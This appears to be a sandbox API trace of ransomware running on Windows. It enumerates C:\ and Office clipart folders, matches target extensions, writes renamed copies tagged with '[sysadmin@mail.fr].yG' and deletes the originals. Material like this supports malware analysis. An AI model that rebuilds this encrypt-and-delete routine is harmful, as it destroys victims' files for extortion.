	[0184.642] lstrlenW (lpString=".bz2") returned 4
	[0184.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.643] lstrlenW (lpString=".7z") returned 3
	[0184.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.643] lstrlenW (lpString=".dbf") returned 4
	[0184.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.643] lstrlenW (lpString=".1cd") returned 4
	[0184.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.643] lstrlenW (lpString=".jpg") returned 4
	[0184.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.643] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.643] lstrlenW (lpString="FD00419_.WMF") returned 12
	[0184.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.644] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=16396) returned 1
	[0184.644] CloseHandle (hObject=0x340) returned 1
	[0184.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220
	[0184.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.644] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.644] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.645] GetLastError () returned 0x0
	[0184.646] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x400c, lpOverlapped=0x0) returned 1
	[0184.647] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x4010, lpOverlapped=0x0) returned 1
	[0184.648] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.648] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.648] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.648] CloseHandle (hObject=0x3a4) returned 1
	[0184.648] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.648] SetEndOfFile (hFile=0x340) returned 1
	[0184.649] CloseHandle (hObject=0x340) returned 1
	[0184.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1
	[0184.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.650] lstrlenW (lpString=".doc") returned 4
	[0184.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.650] lstrlenW (lpString=".docx") returned 5
	[0184.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.650] lstrlenW (lpString=".pdf") returned 4
	[0184.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.650] lstrlenW (lpString=".xls") returned 4
	[0184.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.650] lstrlenW (lpString=".xlsx") returned 5
	[0184.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.650] lstrlenW (lpString=".ppt") returned 4
	[0184.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.650] lstrlenW (lpString=".zip") returned 4
	[0184.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.650] lstrlenW (lpString=".rar") returned 4
	[0184.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString=".bz2") returned 4
	[0184.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString=".7z") returned 3
	[0184.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.651] lstrlenW (lpString=".dbf") returned 4
	[0184.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.651] lstrlenW (lpString=".1cd") returned 4
	[0184.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.651] lstrlenW (lpString=".jpg") returned 4
	[0184.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.651] lstrlenW (lpString=".doc") returned 4
	[0184.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString=".docx") returned 5
	[0184.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.651] lstrlenW (lpString=".pdf") returned 4
	[0184.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString=".xls") returned 4
	[0184.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.651] lstrlenW (lpString=".xlsx") returned 5
	[0184.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.651] lstrlenW (lpString=".ppt") returned 4
	[0184.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.651] lstrlenW (lpString=".zip") returned 4
	[0184.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.651] lstrlenW (lpString=".rar") returned 4
	[0184.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.651] lstrlenW (lpString=".bz2") returned 4
	[0184.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.652] lstrlenW (lpString=".7z") returned 3
	[0184.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.652] lstrlenW (lpString=".dbf") returned 4
	[0184.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.652] lstrlenW (lpString=".1cd") returned 4
	[0184.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0184.652] lstrlenW (lpString=".jpg") returned 4
	[0184.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.652] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.652] lstrlenW (lpString="FD00428_.WMF") returned 12
	[0184.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.652] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4796) returned 1
	[0184.652] CloseHandle (hObject=0x340) returned 1
	[0184.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0184.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.653] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.653] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.654] GetLastError () returned 0x0
	[0184.654] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0184.654] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0184.655] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.655] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.656] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.656] CloseHandle (hObject=0x3a4) returned 1
	[0184.656] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.656] SetEndOfFile (hFile=0x340) returned 1
	[0184.657] CloseHandle (hObject=0x340) returned 1
	[0184.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0184.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.658] lstrlenW (lpString=".doc") returned 4
	[0184.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.658] lstrlenW (lpString=".docx") returned 5
	[0184.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.658] lstrlenW (lpString=".pdf") returned 4
	[0184.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.658] lstrlenW (lpString=".xls") returned 4
	[0184.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.658] lstrlenW (lpString=".xlsx") returned 5
	[0184.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.658] lstrlenW (lpString=".ppt") returned 4
	[0184.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.658] lstrlenW (lpString=".zip") returned 4
	[0184.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.658] lstrlenW (lpString=".rar") returned 4
	[0184.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.658] lstrlenW (lpString=".bz2") returned 4
	[0184.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.658] lstrlenW (lpString=".7z") returned 3
	[0184.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.658] lstrlenW (lpString=".dbf") returned 4
	[0184.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.658] lstrlenW (lpString=".1cd") returned 4
	[0184.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.659] lstrlenW (lpString=".jpg") returned 4
	[0184.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.659] lstrlenW (lpString=".doc") returned 4
	[0184.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString=".docx") returned 5
	[0184.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.659] lstrlenW (lpString=".pdf") returned 4
	[0184.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString=".xls") returned 4
	[0184.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.659] lstrlenW (lpString=".xlsx") returned 5
	[0184.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.659] lstrlenW (lpString=".ppt") returned 4
	[0184.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.659] lstrlenW (lpString=".zip") returned 4
	[0184.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.659] lstrlenW (lpString=".rar") returned 4
	[0184.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString=".bz2") returned 4
	[0184.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString=".7z") returned 3
	[0184.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.659] lstrlenW (lpString=".dbf") returned 4
	[0184.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.659] lstrlenW (lpString=".1cd") returned 4
	[0184.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0184.660] lstrlenW (lpString=".jpg") returned 4
	[0184.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.660] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.660] lstrlenW (lpString="FD00435_.WMF") returned 12
	[0184.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.660] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2108) returned 1
	[0184.660] CloseHandle (hObject=0x340) returned 1
	[0184.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220
	[0184.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.661] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.661] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.663] GetLastError () returned 0x0
	[0184.663] ReadFile (hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0) 

Thread:
	id = 101
	os_tid = 0x89c

	[0178.553] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30058
	[0178.554] lstrlenW (lpString="C:") returned 2
	[0178.554] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x329fcf8 | out: lpFindFileData=0x329fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6ba5c0
	[0178.554] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0178.554] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0178.554] lstrlenW (lpString="$GetCurrent") returned 11
	[0178.554] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0178.554] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c40060
	[0178.555] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0178.555] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6ba7c0
	[0178.555] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0178.555] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0178.555] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0178.555] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0178.555] lstrlenW (lpString="Logs") returned 4
	[0178.555] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0178.555] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.556] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0178.556] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName=".", cAlternateFileName="")) returned 0x6ba500
	[0178.557] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="..", cAlternateFileName="")) returned 1
	[0178.557] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fa2bfb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97fa2bfb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9808bce9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xfffff2b7, dwReserved1=0x45, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DOWNLE~1.YG")) returned 1
	[0178.557] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG") returned 71
